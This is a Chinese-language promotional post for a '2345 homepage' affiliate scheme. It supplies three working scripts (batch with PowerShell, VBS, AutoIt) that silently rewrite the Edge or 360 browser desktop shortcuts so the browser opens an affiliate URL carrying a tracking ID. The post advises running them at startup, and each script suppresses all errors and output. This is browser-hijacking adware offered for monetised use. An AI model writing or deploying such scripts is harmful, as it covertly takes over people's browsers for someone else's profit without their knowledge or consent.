盾网后台推出了2345主页业务，注册用户后台会有一个专属的2345连接推广ID，支持任意环境推广，数据隔天更新，节假日除外；收益支持提现；

发布几段全自动改桌面浏览器主页参数的代码，请根据自已的环境测试；测试有效再用于开机启动执行即可；且记将代码中的主页ID改为你自己的！

CMD版改EDGE主页方法：（Win10以上系统必须是ANSI编码才可以）

360X也可以用此脚本；只需要将二个路径的Microsoft Edge.lnk改为360极速浏览器X.lnk即可；（360极速浏览器X.lnk必须是你桌面浏览器的图标名字）

@echo off
:: 完全屏蔽所有输出、错误提示，实现纯静默运行
@echo off >nul 2>&1
setlocal EnableDelayedExpansion

:: 定义两个目标Edge快捷方式路径
set "EDGE_LNK1=C:\Users\Public\Desktop\Microsoft Edge.lnk"
set "EDGE_LNK2=C:\Users\Administrator\Desktop\Microsoft Edge.lnk"
:: 定义需要设置的启动参数网址
set "TARGET_URL=https://www.hao774.com/?90386-00026"

:: 优先检测公共桌面快捷方式，存在则修改启动参数
if exist "%EDGE_LNK1%" (
    powershell "$ws = New-Object -ComObject WScript.Shell; $lnk = $ws.CreateShortcut('%EDGE_LNK1%'); $lnk.Arguments = '%TARGET_URL%'; $lnk.Save()" >nul 2>&1
) else (
    :: 公共桌面无文件时，检测管理员桌面快捷方式并修改
    if exist "%EDGE_LNK2%" (
        powershell "$ws = New-Object -ComObject WScript.Shell; $lnk = $ws.CreateShortcut('%EDGE_LNK2%'); $lnk.Arguments = '%TARGET_URL%'; $lnk.Save()" >nul 2>&1
    )
)

:: 结束脚本，彻底退出，无任何残留进程
exit /b

VBS版改EDGE主页方法：

360X也可以用此脚本；只需要将二个路径的Microsoft Edge.lnk改为360极速浏览器X.lnk即可；（360极速浏览器X.lnk必须是你桌面浏览器的图标名字）

' 关闭所有错误提示，实现纯静默运行
On Error Resume Next
Dim WshShell, Shortcut
' 定义两个Edge快捷方式路径
Dim lnkPath1, lnkPath2, targetUrl
lnkPath1 = "C:\Users\Public\Desktop\Microsoft Edge.lnk"
lnkPath2 = "C:\Users\Administrator\Desktop\Microsoft Edge.lnk"
' 目标启动参数网址
targetUrl = "https://www.hao774.com/?90386-00026"

' 创建快捷方式操作对象
Set WshShell = WScript.CreateObject("WScript.Shell")

' 优先修改公共桌面快捷方式
If FileExist(lnkPath1) Then
    Set Shortcut = WshShell.CreateShortcut(lnkPath1)
    Shortcut.Arguments = targetUrl
    Shortcut.Save
End If

' 公共桌面无文件则修改管理员桌面快捷方式
If FileExist(lnkPath2) Then
    Set Shortcut = WshShell.CreateShortcut(lnkPath2)
    Shortcut.Arguments = targetUrl
    Shortcut.Save
End If

' 释放对象、结束脚本
Set Shortcut = Nothing
Set WshShell = Nothing
WScript.Quit

' 自定义文件存在判断函数
Function FileExist(path)
    Dim fso
    Set fso = CreateObject("Scripting.FileSystemObject")
    FileExist = fso.FileExists(path)
    Set fso = Nothing
End Function

AU3版改Edge主页方法：

360X也可以用此脚本；只需要将二个路径的Microsoft Edge.lnk改为360极速浏览器X.lnk即可；（360极速浏览器X.lnk必须是你桌面浏览器的图标名字）

; 隐藏脚本托盘图标，完全静默运行
#NoTrayIcon
; 忽略所有运行错误，杜绝报错弹窗
#OnErrorResumeNext

; 定义需要修改的两个Edge快捷方式完整路径
Local $aLnkPaths[2] = [ _
    "C:\Users\Public\Desktop\Microsoft Edge.lnk", _
    "C:\Users\Administrator\Desktop\Microsoft Edge.lnk" _
]

; 定义目标启动参数网址
Local $sTargetUrl = "https://www.hao774.com/?90386-00026"

; 遍历所有快捷方式路径，逐一判断并修改
For $i = 0 To UBound($aLnkPaths) - 1
    ; 判断快捷方式文件是否真实存在
    If FileExists($aLnkPaths[$i]) Then
        ; 读取快捷方式对象
        Local $oShortCut = ObjCreate("WScript.Shell")
        Local $oLink = $oShortCut.CreateShortcut($aLnkPaths[$i])
        ; 重置快捷方式启动参数为目标网址
        $oLink.Arguments = $sTargetUrl
        ; 保存修改配置
        $oLink.Save()
        ; 释放对象资源
        $oLink = 0
        $oShortCut = 0
    EndIf
Next

; 脚本直接静默退出，无任何提示
Exit

所有代码，均测试有效，没效果的自己加我微信远程；搞定发红包！~

无论你用哪种脚本，图标属性是你要改的主页地址才算成功！